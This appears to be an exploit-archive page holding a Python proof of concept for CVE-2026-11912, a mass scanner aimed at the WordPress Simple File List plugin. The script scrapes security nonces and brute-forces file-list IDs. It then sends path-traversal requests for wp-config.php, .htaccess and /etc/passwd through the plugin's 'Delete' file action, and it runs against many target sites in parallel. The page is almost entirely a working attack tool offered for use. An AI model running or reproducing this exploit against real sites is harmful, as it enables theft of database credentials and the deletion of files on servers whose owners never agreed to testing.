5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-11912.py PY
#!/usr/bin/env python3

import requests
import re
import sys
import json
import threading
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
RED = '\033[0;31m'
GREEN = '\033[0;32m'
YELLOW = '\033[1;33m'
BLUE = '\033[0;34m'
PURPLE = '\033[0;35m'
CYAN = '\033[0;36m'
NC = '\033[0m'

class SimpleFileListScanner:
    def __init__(self, target_file, threads=10):
        self.target_file = target_file
        self.threads = threads
        self.vulnerable = []
        self.not_vulnerable = []
        self.errors = []
        self.lock = threading.Lock()
        self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        self.results_dir = f"scan_results_{self.timestamp}"
        
        import os
        os.makedirs(self.results_dir, exist_ok=True)
        
        self.session = requests.Session()
        self.session.verify = False
        self.session.timeout = 15
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
    
    def get_nonce(self, target):
        """Get security nonce from target"""
        methods = [
            self._get_nonce_from_file_list,
            self._get_nonce_from_ajax,
            self._get_nonce_from_page_source,
            self._get_nonce_from_js
        ]
        
        for method in methods:
            nonce = method(target)
            if nonce and len(nonce) >= 8:
                return nonce
        return None
    
    def _get_nonce_from_file_list(self, target):
        """Get nonce from /file-list/"""
        try:
            url = urljoin(target, '/file-list/')
            resp = self.session.get(url, timeout=10)
            match = re.search(r'eeSFL_ActionNonce">([^<]+)', resp.text)
            if match:
                return match.group(1)
        except:
            pass
        return None
    
    def _get_nonce_from_ajax(self, target):
        """Get nonce from admin-ajax"""
        try:
            url = urljoin(target, '/wp-admin/admin-ajax.php')
            params = {
                'action': 'simplefilelist_edit_job',
                'eeSFL_ID': 1
            }
            resp = self.session.get(url, params=params, timeout=10)
            match = re.search(r'"eeSFL_ActionNonce":"([^"]+)"', resp.text)
            if match:
                return match.group(1)
        except:
            pass
        return None
    
    def _get_nonce_from_page_source(self, target):
        """Get nonce from page source"""
        try:
            resp = self.session.get(target, timeout=10)
            match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', resp.text)
            if match:
                return match.group(1)
        except:
            pass
        return None
    
    def _get_nonce_from_js(self, target):
        """Get nonce from JavaScript files"""
        try:
            resp = self.session.get(target, timeout=10)
            js_files = re.findall(r'src="([^"]*\.js)"', resp.text)
            
            for js_file in js_files[:3]:
                if not js_file.startswith('http'):
                    js_file = urljoin(target, js_file)
                try:
                    js_resp = self.session.get(js_file, timeout=5)
                    match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', js_resp.text)
                    if match:
                        return match.group(1)
                except:
                    continue
        except:
            pass
        return None
    
    def test_vulnerability(self, target, nonce):
        """Test vulnerability with ID brute force (1-25)"""
        test_files = [
            ('../../../wp-config.php', ['SUCCESS', 'DB_NAME', 'DB_USER', 'DB_PASSWORD', 'AUTH_KEY']),
            ('../../../.htaccess', ['SUCCESS', 'RewriteEngine', 'Options', 'Order']),
            ('../../../../etc/passwd', ['root:', 'nobody:', 'daemon:'])
        ]
        
        for id_num in range(1, 26):
            for filename, indicators in test_files:
                try:
                    url = urljoin(target, '/wp-admin/admin-ajax.php')
                    data = {
                        'action': 'simplefilelist_edit_job',
                        'eeSecurity': nonce,
                        'eeSFL_ID': str(id_num),
                        'eeFileAction': 'Delete',
                        'eeFileName': filename
                    }
                    
                    resp = self.session.post(url, data=data, timeout=10)
                    
                    # Check for indicators
                    for indicator in indicators:
                        if indicator in resp.text:
                            return True, id_num, filename, indicator
                            
                except Exception as e:
                    continue
        
        return False, None, None, None
    
    def scan_target(self, target, index):
        """Scan single target"""
        target = target.strip().rstrip('/')
        
        with self.lock:
            print(f"[{index}] Scanning: {target}")
        
        # Get nonce
        nonce = self.get_nonce(target)
        if not nonce:
            with self.lock:
                print(f"    {RED}[!] Failed to get nonce{NC}")
                self.errors.append({'target': target, 'reason': 'No nonce found'})
            return
        
        with self.lock:
            print(f"    {GREEN}[+] Nonce: {nonce}{NC}")
            print(f"    {CYAN}[*] Brute forcing eeSFL_ID 1-25...{NC}")
        
        # Test vulnerability
        is_vulnerable, id_num, filename, indicator = self.test_vulnerability(target, nonce)
        
        if is_vulnerable:
            with self.lock:
                print(f"    {RED}[!] VULNERABLE!{NC}")
                print(f"    {RED}[!] ID: {id_num} | File: {filename} | Indicator: {indicator}{NC}")
                self.vulnerable.append({
                    'target': target,
                    'nonce': nonce,
                    'id': id_num,
                    'file': filename,
                    'indicator': indicator
                })
        else:
            with self.lock:
                print(f"    {GREEN}[+] Not vulnerable (no working ID found){NC}")
                self.not_vulnerable.append(target)
    
    def save_results(self):
        """Save scan results"""
        # Save vulnerable
        with open(f"{self.results_dir}/vulnerable.txt", 'w') as f:
            for item in self.vulnerable:
                f.write(f"{item['target']} | Nonce: {item['nonce']} | ID: {item['id']} | File: {item['file']} | {item['indicator']}\n")
        
        # Save not vulnerable
        with open(f"{self.results_dir}/not_vulnerable.txt", 'w') as f:
            for target in self.not_vulnerable:
                f.write(f"{target}\n")
        
        # Save errors
        with open(f"{self.results_dir}/errors.txt", 'w') as f:
            for item in self.errors:
                f.write(f"{item['target']} | {item['reason']}\n")
        
        # Save JSON summary
        summary = {
            'timestamp': self.timestamp,
            'total': len(self.vulnerable) + len(self.not_vulnerable) + len(self.errors),
            'vulnerable': len(self.vulnerable),
            'not_vulnerable': len(self.not_vulnerable),
            'errors': len(self.errors),
            'vulnerable_targets': self.vulnerable
        }
        with open(f"{self.results_dir}/summary.json", 'w') as f:
            json.dump(summary, f, indent=2)
    
    def run(self):
        """Run the scanner"""
        print(f"{BLUE}[*] Starting mass scan with {self.threads} threads...{NC}")
        print(f"{BLUE}[*] Created By Poloss{NC}\n")
        
        # Read targets
        try:
            with open(self.target_file, 'r') as f:
                targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
        except FileNotFoundError:
            print(f"{RED}[!] File not found: {self.target_file}{NC}")
            sys.exit(1)
        
        print(f"{BLUE}[*] Loaded {len(targets)} targets{NC}\n")
        
        # Scan with threading
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = {}
            for idx, target in enumerate(targets, 1):
                future = executor.submit(self.scan_target, target, idx)
                futures[future] = target
            
            for future in as_completed(futures):
                pass
        
        # Save results
        self.save_results()
        
        # Print summary
        print(f"\n{PURPLE}═══════════════════════════════════════════════════════════════{NC}")
        print(f"{PURPLE}[*] SCAN COMPLETED!{NC}")
        print(f"{PURPLE}[*] Total targets scanned: {len(targets)}{NC}")
        print(f"{RED}[!] Vulnerable found: {len(self.vulnerable)}{NC}")
        print(f"{GREEN}[+] Not vulnerable: {len(self.not_vulnerable)}{NC}")
        print(f"{YELLOW}[*] Failed/Errors: {len(self.errors)}{NC}")
        print(f"{PURPLE}[*] Results saved in: {self.results_dir}{NC}")
        print(f"{PURPLE}═══════════════════════════════════════════════════════════════{NC}")
        
        # Show vulnerable targets
        if self.vulnerable:
            print(f"\n{RED}[!] VULNERABLE TARGETS:{NC}")
            print(f"{RED}═══════════════════════════════════════════════════════════════{NC}")
            for item in self.vulnerable:
                print(f"  {item['target']} | ID: {item['id']} | File: {item['file']}")
            print(f"{RED}═══════════════════════════════════════════════════════════════{NC}")

def main():
    if len(sys.argv) < 2:
        print(f"{RED}[!] Usage: python3 mass_scan.py targets.txt [threads]{NC}")
        print(f"{YELLOW}[*] Example: python3 mass_scan.py targets.txt 20{NC}")
        sys.exit(1)
    
    target_file = sys.argv[1]
    threads = int(sys.argv[2]) if len(sys.argv) > 2 else 10
    
    scanner = SimpleFileListScanner(target_file, threads)
    scanner.run()

if __name__ == "__main__":
    main()